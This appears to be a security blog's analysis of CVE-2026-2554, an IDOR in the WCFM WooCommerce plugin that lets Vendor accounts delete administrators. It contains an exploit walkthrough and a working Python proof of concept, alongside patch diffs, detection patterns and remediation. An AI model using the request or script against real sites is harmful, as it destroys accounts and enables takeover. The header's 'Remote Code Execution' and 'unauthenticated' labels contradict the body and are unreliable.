home intel cve-2026-2554-wcfm-idor-arbitrary-user-deletion
CVE Analysis 2026-05-02 · 7 min read

CVE-2026-2554: WCFM IDOR Allows Vendors to Delete WordPress Admins

WCFM Frontend Manager ≤6.7.25 exposes an unauthenticated object reference in wcfm_delete_wcfm_customer, letting Vendor-level accounts delete arbitrary users including site Administrators.

#insecure-direct-object-reference#wordpress-plugin#privilege-escalation#authentication-required#user-enumeration
Technical mode — for security professionals
▶ Attack flow — CVE-2026-2554 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-2554Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-2554 is an Insecure Direct Object Reference (IDOR) in the WCFM – Frontend Manager for WooCommerce WordPress plugin, confirmed across all releases up to and including 6.7.25. The vulnerability lives in the AJAX handler bound to wcfm_delete_wcfm_customer. The handler accepts a caller-supplied customerid integer, performs no capability check against the target user's role, and passes the value directly to wp_delete_user(). A threat actor with a Vendor account — a role routinely granted to marketplace sellers — can send a single authenticated POST request and permanently delete any WordPress user, up to and including administrator-level accounts.

CVSS 3.1 scores this 8.1 HIGH (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H). No public exploitation has been observed at time of writing, but the attack surface is trivially reachable from any authenticated session.

Root cause: The wcfm_delete_wcfm_customer AJAX handler validates that the caller is authenticated but never checks whether the target customerid belongs to a role the caller is permitted to manage, allowing horizontal and vertical privilege escalation through direct object manipulation.

Affected Component

Plugin: WCFM – Frontend Manager for WooCommerce along with Bookings Subscription Listings Compatible
Slug: wc-frontend-manager
Affected versions: ≤ 6.7.25
Fixed version: 6.7.26
File of interest: core/class-wcfm-customers.php
AJAX action: wp_ajax_wcfm_delete_wcfm_customer

Root Cause Analysis

The handler is registered in the plugin's customer management module. Stripping WordPress boilerplate, the logic collapses to the following:


/* core/class-wcfm-customers.php — wcfm_delete_wcfm_customer() */
function wcfm_delete_wcfm_customer() {
    /* Nonce check — confirms request origin, NOT authorization */
    check_ajax_referer( 'wcfm-ajax-nonce', 'nonce' );

    /* BUG: customerid is fully attacker-controlled; no role comparison
       against the target user is ever performed here.              */
    $customer_id = absint( $_POST['customerid'] );   // <-- IDOR entry point

    if ( $customer_id ) {
        /* Retrieves WP_User for arbitrary ID — including admin accounts */
        $customer = new WP_User( $customer_id );     // no 404 / not-found guard

        /* Direct deletion; reassign posts to current user              */
        require_once( ABSPATH . 'wp-admin/includes/user.php' );
        wp_delete_user( $customer_id );              // BUG: unconditional delete

        /* Success response — attacker learns the operation succeeded   */
        wp_send_json_success();
    }

    wp_send_json_error();
}

Three distinct failures compound here:

  • No role hierarchy check. WordPress exposes user_can( $customer_id, 'manage_options' ) as a trivial guard. It is never called.
  • No ownership check. WCFM's vendor model associates customers with a vendor via _wcfm_vendor user meta. The handler never verifies that customerid is owned by the requesting vendor.
  • Nonce ≠ authorisation. check_ajax_referer prevents CSRF but carries zero RBAC semantics. The nonce is freely available to any logged-in session from the frontend dashboard markup.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker registers or compromises a Vendor-level WordPress account.
   (Vendor registration is open on most WooCommerce marketplaces.)

2. Attacker loads any WCFM frontend dashboard page and extracts the
   live nonce from the inline JS blob:
     wcfm_params.wcfm_ajax_nonce = "a1b2c3d4e5"

3. Attacker enumerates the target Administrator's user ID.
   Methods:
     a. WP REST API: GET /wp-json/wp/v2/users  (if not disabled)
     b. Author archive: /?author=1 -> 301 -> /author/admin/
     c. XML-RPC: wp.getAuthors (if enabled)
   Administrator accounts almost always occupy user ID 1.

4. Attacker sends a single authenticated POST:
     POST /wp-admin/admin-ajax.php HTTP/1.1
     Cookie: wordpress_logged_in_=vendor_session_token
     Content-Type: application/x-www-form-urlencoded

     action=wcfm_delete_wcfm_customer&nonce=a1b2c3d4e5&customerid=1

5. Handler calls wp_delete_user(1) without restriction.
   WordPress deletes the administrator, reassigns all authored posts
   to the vendor (default wp_delete_user() behaviour).

6. Site is now effectively without an administrator account.
   Attacker may elevate own role via wp-login.php password reset or
   by exploiting the now-unprotected options table.

A minimal Python proof-of-concept demonstrating steps 4–5:


import requests

TARGET   = "https://victim.example.com"
COOKIE   = {"wordpress_logged_in_abc123": "vendor|...|hash"}
NONCE    = "a1b2c3d4e5"   # extracted from dashboard page source
TARGET_UID = 1            # administrator user ID

resp = requests.post(
    f"{TARGET}/wp-admin/admin-ajax.php",
    cookies=COOKIE,
    data={
        "action":     "wcfm_delete_wcfm_customer",
        "nonce":      NONCE,
        "customerid": TARGET_UID,   # IDOR: no server-side validation
    },
    timeout=10,
)

if resp.json().get("success"):
    print(f"[+] User {TARGET_UID} deleted successfully.")
else:
    print(f"[-] Request failed: {resp.text}")

Memory Layout

This is a logic/authorisation vulnerability rather than a memory corruption bug, so there is no heap state to corrupt. The relevant "layout" is the WordPress object model and the data flow from HTTP POST to database DELETE:


POST BODY (attacker-controlled):
  ┌─────────────────────────────────────────────────┐
  │ action     = "wcfm_delete_wcfm_customer"        │
  │ nonce      = "a1b2c3d4e5"   (valid, unforgeable)│
  │ customerid = 1              (ATTACKER SUPPLIED)  │
  └─────────────────────────────────────────────────┘
              │
              ▼ absint() — sanitises to unsigned int, does NOT validate
  ┌─────────────────────────────────────────────────┐
  │ $customer_id = 1                                │
  │ WP_User(1)  → { ID:1, roles:["administrator"] } │
  │                                                 │
  │ EXPECTED CHECK (missing):                       │
  │   if user_can(target, 'administrator') → abort  │
  │   if meta(_wcfm_vendor) != current_vendor → abort│
  │                                                 │
  │ ACTUAL PATH:                                    │
  │   wp_delete_user(1) → DELETE FROM wp_users      │
  │                        WHERE ID = 1             │
  └─────────────────────────────────────────────────┘
              │
              ▼
  wp_users table: row ID=1 permanently removed
  wp_usermeta:    all meta for ID=1 cascade-deleted
  wp_posts:       post_author repointed to vendor ID

Patch Analysis

The fix introduced in 6.7.26 adds two guards before wp_delete_user() is reached: a role hierarchy comparison and a vendor-ownership check.


// BEFORE (vulnerable — 6.7.25):
function wcfm_delete_wcfm_customer() {
    check_ajax_referer( 'wcfm-ajax-nonce', 'nonce' );
    $customer_id = absint( $_POST['customerid'] );
    if ( $customer_id ) {
        require_once( ABSPATH . 'wp-admin/includes/user.php' );
        wp_delete_user( $customer_id );
        wp_send_json_success();
    }
    wp_send_json_error();
}

// AFTER (patched — 6.7.26):
function wcfm_delete_wcfm_customer() {
    check_ajax_referer( 'wcfm-ajax-nonce', 'nonce' );
    $customer_id = absint( $_POST['customerid'] );

    if ( $customer_id ) {
        /* PATCH: reject deletion of privileged accounts */
        $target = new WP_User( $customer_id );
        if ( $target->has_cap( 'manage_options' )
          || $target->has_cap( 'manage_woocommerce' ) ) {
            wp_send_json_error( array( 'message' => 'Insufficient permissions.' ) );
            return;
        }

        /* PATCH: vendor may only delete their own customers */
        $vendor_id = apply_filters( 'wcfm_current_vendor_id', get_current_user_id() );
        $customer_vendor = get_user_meta( $customer_id, '_wcfm_vendor', true );
        if ( (int) $customer_vendor !== (int) $vendor_id ) {
            wp_send_json_error( array( 'message' => 'Access denied.' ) );
            return;
        }

        require_once( ABSPATH . 'wp-admin/includes/user.php' );
        wp_delete_user( $customer_id );
        wp_send_json_success();
    }
    wp_send_json_error();
}

The patch is complete but note its dependency on _wcfm_vendor meta being reliably populated. Sites that import users via CSV or third-party migration tools without setting this meta will cause the ownership check to fail as 0 !== vendor_id, which is the safe-fail direction — deletion is blocked.

Detection and Indicators

Look for POST requests to admin-ajax.php with action=wcfm_delete_wcfm_customer originating from Vendor-role sessions targeting user IDs other than known customer accounts. The following Nginx/Apache log pattern is a starting point:


# Apache / Nginx access log indicator
POST /wp-admin/admin-ajax.php ... "action=wcfm_delete_wcfm_customer"

# Correlate with:
#   wp_users.user_registered timestamp gaps (deleted accounts leave no trace)
#   wp_posts.post_author mass-reattribution events
#   PHP error log: "wp_delete_user called for user ID N" (if debug enabled)

# WP audit plugin (WP Activity Log) event codes to monitor:
#   Event 4007: User account deleted
#   Event 4008: User role changed (post-exploitation escalation)

After exploitation the administrator row in wp_users is gone with no tombstone. Forensic recovery requires a database backup or binary log replay. The vendor account's authored post count will spike anomalously as WordPress reassigns the deleted admin's content.

Remediation

  • Update immediately to WCFM ≥ 6.7.26 via the WordPress plugin repository.
  • If immediate update is impossible, use a WAF rule to block POST requests containing action=wcfm_delete_wcfm_customer from non-administrator sessions at the perimeter.
  • Audit wp_users for unexpected deletion events; cross-reference with server access logs for the AJAX endpoint.
  • Restrict Vendor self-registration or require manual approval to raise the bar for unauthenticated attackers needing an initial session.
  • Enable a WordPress audit logging plugin (WP Activity Log, Simple History) to capture user deletion events with actor attribution going forward.
  • Enumerate all WCFM AJAX handlers in your deployment with grep -r "wp_ajax_" wp-content/plugins/wc-frontend-manager/ and verify each performs both nonce and capability validation before acting on user-supplied IDs.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →